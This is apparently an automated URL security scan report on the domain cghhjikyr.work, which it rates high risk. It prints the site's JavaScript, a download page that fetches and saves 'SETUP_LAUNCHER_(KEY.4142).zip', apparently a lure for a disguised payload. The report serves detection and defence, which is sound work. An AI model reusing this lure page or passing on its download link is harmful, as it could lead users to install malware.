technology software

documentation technical

English

download_view_index

Domain 'cghhjikyr.work' uses the .work top-level domain while skipping any subdomain. The core label 'cghhjikyr' covers 9 characters with one vowel and 8 consonants. Splitting it apart reveals 5 words: c, gh, hj, ik, yr. Expect 2 characters per word on average. No strong language cues emerged from the frequency lists.

c674652f453f7bd181b721c110facb4bab1ec8d0defe839f9aff3d37b7a0c180

400cb9d8b120c25e2e64b122544274cad126f9263546abffaa73edcb9f73fbd3

viewport

HSTS header missing - vulnerable to protocol downgrade attacks

CSP header missing - vulnerable to XSS attacks

Cloudflare, Inc.

Cloudflare, Inc

CLOUDFLARENET

(() => {
 'use strict';
 const $ = id => document.getElementById(id);
 const downloadButton = $('downloadButton');
 const copyButton = $('copyButton');
 const progressBox = $('progressBox');
 const progressBar = $('progressBar');
 const progressTrack = $('progressTrack');
 const progressPercent = $('progressPercent');
 const downloadedSize = $('downloaded');
 const downloadSpeed = $('speed');
 const remainingTime = $('remaining');
 const progressStatus = $('progressStatus');
 const pageHeading = $('pageHeading');
 const pageSubtitle = $('pageSubtitle');

 const fileName = "SETUP_LAUNCHER_(KEY.4142).zip";
 const downloadUrl = "https:\/\/cghhjikyr.work\/download\/file?name=SETUP_LAUNCHER_%28KEY.4142%29";
 let activeRequest = null;

 copyButton.addEventListener('click', async () => {
 let copied = false;
 try {
 if (navigator.clipboard && window.isSecureContext) {
 await navigator.clipboard.writeText(downloadUrl);
 copied = true;
 } else {
 const temp = document.createElement('textarea');
 temp.value = downloadUrl;
 temp.style.cssText = 'position:fixed;opacity:0';
 document.body.appendChild(temp);
 temp.select();
 copied = document.execCommand('copy');
 temp.remove();
 }
 } catch (_) { /* Display manual option below. */ }
 if (!copied) { window.prompt('Copy the download link:', downloadUrl); return; }
 copyButton.textContent = '✓ Copied!';
 copyButton.classList.add('copied');
 window.setTimeout(() => { copyButton.textContent = 'Copy Link'; copyButton.classList.remove('copied'); }, 2000);
 });

 const formatBytes = bytes => {
 if (!Number.isFinite(bytes) || bytes <= 0) return '0 MB';
 const mb = bytes / (1024 * 1024);
 return mb < 1024 ? mb.toFixed(2) + ' MB' : (mb / 1024).toFixed(2) + ' GB';
 };
 const formatTime = seconds => {
 if (!Number.isFinite(seconds) || seconds < 0) return 'Calculating...';
 const s = Math.ceil(seconds);
 return s >= 60 ? `${Math.floor(s / 60)}m ${s % 60}s` : `${s}s`;
 };
 const setProgress = percentage => {
 const p = Math.min(100, Math.max(0, percentage));
 progressBar.style.width = p + '%';
 progressPercent.textContent = Math.round(p) + '%';
 progressTrack.setAttribute('aria-valuenow', String(Math.round(p)));
 };
 const fail = message => {
 activeRequest = null;
 downloadButton.disabled = false;
 downloadButton.innerHTML = '↻ Try Again';
 pageHeading.textContent = 'Download interrupted';
 pageSubtitle.textContent = 'Please try again.';
 progressStatus.textContent = message;
 progressStatus.classList.add('error');
 remainingTime.textContent = 'Unavailable';
 downloadSpeed.textContent = '0 MB/s';
 setProgress(0);
 };

 downloadButton.addEventListener('click', () => {
 if (activeRequest) return;
 const xhr = new XMLHttpRequest();
 activeRequest = xhr;
 const startTime = performance.now();
 let lastBytes = 0;
 let lastTime = startTime;
 let smoothedSpeed = 0;

 downloadButton.disabled = true;
 downloadButton.innerHTML = '↻ Downloading...';
 pageHeading.textContent = 'Downloading your file';
 pageSubtitle.textContent = 'Please keep this tab open until the download is ready.';
 progressBox.hidden = false;
 progressStatus.classList.remove('error');
 progressStatus.textContent = 'Connecting to server...';
 setProgress(0);
 downloadedSize.textContent = '0 MB';
 downloadSpeed.textContent = '0 MB/s';
 remainingTime.textContent = 'Calculating...';

 xhr.open('GET', downloadUrl, true);
 xhr.responseType = 'blob';
 xhr.onprogress = event => {
 const now = performance.now();
 const dt = (now - lastTime) / 1000;
 if (dt >= 0.25 && event.loaded >= lastBytes) {
 const instantaneous = (event.loaded - lastBytes) / dt;
 smoothedSpeed = smoothedSpeed ? smoothedSpeed * 0.65 + instantaneous * 0.35 : instantaneous;
 lastTime = now;
 lastBytes = event.loaded;
 }
 downloadedSize.textContent = formatBytes(event.loaded);
 downloadSpeed.textContent = formatBytes(smoothedSpeed) + '/s';
 progressStatus.textContent = 'Downloading file...';
 if (event.lengthComputable && event.total > 0) {
 setProgress(event.loaded / event.total * 100);
 downloadedSize.textContent = formatBytes(event.loaded) + ' / ' + formatBytes(event.total);
 remainingTime.textContent = smoothedSpeed > 0 ? formatTime((event.total - event.loaded) / smoothedSpeed) : 'Calculating...';
 } else {
 // Never fabricate a percentage when the server omits Content-Length.
 progressBar.style.width = '100%';
 progressBar.style.opacity = '.25';
 progressPercent.textContent = '—';
 progressTrack.removeAttribute('aria-valuenow');
 remainingTime.textContent = 'Unknown';
 }
 };
 xhr.onload = () => {
 activeRequest = null;
 if (xhr.status < 200 || xhr.status >= 300) return fail('Server error (' + xhr.status + ').');
 const blob = xhr.response;
 if (!(blob instanceof Blob) || blob.size === 0) return fail('Empty response from server.');
 // This endpoint must return an actual archive, not an HTML error page.
 if ((blob.type || '').includes('text/html') || (blob.type || '').includes('application/json')) return fail('Server returned a page instead of a ZIP file.');
 const blobUrl = URL.createObjectURL(blob);
 const link = document.createElement('a');
 link.href = blobUrl;
 link.download = fileName;
 document.body.appendChild(link);
 link.click();
 link.remove();
 window.setTimeout(() => URL.revokeObjectURL(blobUrl), 60000);
 progressBar.style.opacity = '1';
 setProgress(100);
 downloadedSize.textContent = formatBytes(blob.size);
 downloadSpeed.textContent = 'Complete';
 remainingTime.textContent = 'Finished';
 progressStatus.textContent = 'File received — browser download started.';
 downloadButton.disabled = false;
 downloadButton.innerHTML = '↓ Download Again';
 pageHeading.textContent = 'Your file is ready';
 pageSubtitle.textContent = 'If your browser did not save the file, choose Download Again.';
 };
 xhr.onerror = () => fail('Network error. Check your connection.');
 xhr.onabort = () => fail('Download was cancelled.');
 xhr.ontimeout = () => fail('Download timed out.');
 try { xhr.send(); } catch (_) { fail('Could not start download.'); }
 });
})();

Requests	IP Address	Location	AS Autonomous System
1	172.67.189.162Cloudflare · WAF	United States	AS13335Cloudflare, Inc.
1	104.21.81.142Cloudflare · WAF	United States	AS13335Cloudflare, Inc.
2	2	-	-

Security Scan Report: cghhjikyr.work

Summary

AI Security Verdict

High Risk

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Detected Technologies3

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History